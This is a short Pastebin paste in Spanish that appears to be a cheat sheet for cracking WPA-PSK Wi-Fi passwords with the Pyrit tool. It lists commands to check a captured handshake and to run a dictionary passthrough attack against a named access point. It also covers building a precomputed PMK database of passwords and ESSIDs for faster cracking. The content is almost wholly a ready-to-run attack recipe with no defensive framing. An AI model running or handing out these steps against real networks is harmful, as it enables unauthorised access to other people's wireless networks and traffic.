mobarrio

Crack WPA con Pytit

Mar 25th, 2013
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.41 KB | None | 0 0
  1. - Comprimimos el DUMP de la captura
  2. # gzip wpapsk-linksys.dump
  3.  
  4. - Analizamos la captura para ver si existe el handshake
  5. # pyrit -r wpapsk-linksys.dump.gz analyze
  6.  
  7. - Ataque de passthrough, indicandole un diccionario
  8. # pyrit -r wpapsk-linksys.dump.gz -i dict.gz -b 00:0b:86:c2:a4:85 attack_passthrough
  9.  
  10.  
  11. - Ataque utilizando una base de datos de pyrit
  12. - Verificamos el estado de la base de datos
  13. # pyrit eval
  14.  
  15. - Importamos las contraseñas
  16. # pyrit -i <DICCIONARIO>.gz import_passwords
  17.  
  18. - Importamos los ESSIDs
  19. # pyrit -e <ESSID> create_essid
  20.  
  21. - En este punto la base de datos tiene la informacion necesaria para poder iniciar el proceso batch,
  22. el cual tomara todas las combinaciones ESSID:PASSWORD y computara y almacenara las correspondientes
  23. PMKs (Pairwise master Keys) para utilizarlas posteriormente.
  24. # pyrit batch
  25.  
  26. Nota: Se puede para el proceso de generacion en cualquier momento (con ctrl+c). Pyrit iniciara nuevamente
  27. en el punto en que se cancelo la proxima vez que se inicie el proceso batch
  28.  
  29. - Utilizacion de la base de datos
  30. # pyrit -r wpapsk-linksys.dump.gz attack_db
  31.  
  32.  
  33. - Se puede utilizar una base de datos SQL
  34. # pyrit -u sqlite:///mydb.db -i dict.gz import_passwords
  35. # pyrit -u postgres://pyrit:@192.168.0.7/pyrit -e linksys create_essid
  36. # vi ~/.pyrit/config
  37. default_storage = file://
  38. default_storage = mysql://root:yourpasswd@localhost/mydb
  39.  
  40. - Otros comandos utiles
  41. # pyrit eval
  42. # pyrit list_cores
  43. # pyrit benchmark
Add Comment
Please, Sign In to add comment